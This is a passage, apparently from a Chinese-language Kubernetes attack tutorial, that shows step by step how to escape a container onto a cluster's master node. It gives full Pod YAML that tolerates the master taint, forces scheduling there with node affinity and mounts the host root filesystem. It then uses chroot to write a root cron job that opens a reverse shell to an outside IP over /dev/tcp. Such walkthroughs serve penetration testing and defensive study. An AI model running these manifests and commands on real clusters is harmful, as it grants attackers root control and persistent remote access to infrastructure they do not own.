kubectl describe nodes | grep -A 5 "Taints"- 查看目标节点(如 Master)的标签:
# 查看Master节点的标签(用于后续亲和性配置)
kubectl get node <master-node-name> --show-labels
# 示例输出(关键标签):
# node-role.kubernetes.io/master=true 或 node-role.kubernetes.io/control-plane=true步骤 2:创建带容忍与亲和性的恶意 Pod(完整 YAML)
攻击者需要创建一个同时满足以下条件的 Pod:
- 容忍 Master 节点的污点(允许被调度到 Master 节点);
- 绑定 Master 节点的标签(强制调度到 Master 节点,避免被调度到 Worker 节点);
- 挂载 Master 节点的根目录(便于逃逸获取主机权限)。
完整 YAML 文件(tains.yaml):
##tains.yaml
apiVersion: v1
kind: Pod
metadata:
name: master-tains #指定 Pod 的名称为 "master-tains"
spec:
tolerations: #容忍度配置,用于让 Pod 能够被调度到有特定污点(Taint)的节点上
- key: node-role.kubernetes.io/master #匹配 master 节点的污点键
operator: Exists #只要存在这个污点就容忍
effect: NoSchedule #容忍 "NoSchedule" 效果的污点
containers:
- name: master-tains #容器名称
image: ubuntu:18.04
command: ["/bin/sleep","3650d"] #容器启动命令,让容器休眠 3650 天(约 10 年),使容器长期运行
volumeMounts:
- name: master
mountPath: /master #将名为 "master" 的存储卷挂载到容器内的 /master 目录
volumes :
- name: master
hostPath:
path: /
type: Directory虽然新建的POD是完全匹配 master 节点污点的,理论上 Pod 有资格被调度到 master 节点。但最终 Pod 被调度到 node1,核心原因是 Kubernetes 调度器的 “择优逻辑”—— 在多个符合条件的节点中,会优先选择 “更优” 的节点,所以有可能会归属为其他节点
##添加了节点亲和性的tains.yaml
apiVersion: v1
kind: Pod
metadata:
name: master-tainsss
spec:
# 新增:节点亲和性,强制 Pod 只能调度到 master 节点
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution: # 调度时必须满足的条件
nodeSelectorTerms:
- matchExpressions:
- key: node-role.kubernetes.io/master # 匹配 master 节点的默认标签
operator: Exists # 只要节点有这个标签,就符合条件
# 原有的容忍度(解除 master 节点的污点排斥)
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: master-tainsss
image: ubuntu:18.04
command: ["/bin/sleep","3650d"]
volumeMounts:
- name: test
mountPath: /test
volumes:
- name: test
hostPath:
path: /
type: Directory成功归属master
- 原配置中,Pod 只是 “不被 master 节点排斥”,但仍可被调度到其他 worker 节点(如 node1);
- 若需 “强制” 调度到 master 节点,必须通过 nodeAffinity 绑定 master 节点的标签(node-role.kubernetes.io/master),让调度器只能选择 master 节点。
最后进行容器逃逸:
# 通过kubectl进入目标容器master-tainsss的交互式终端
kubectl exec -it master-tainsss -- bash
# 切换根目录至/test,实现chroot环境切换
chroot /test
# 写入定时任务实现反弹shell
echo -e "* * * * * /bin/bash -i >& /dev/tcp/192.168.10.132/7878 0>&1" \
>> /test/var/spool/cron/root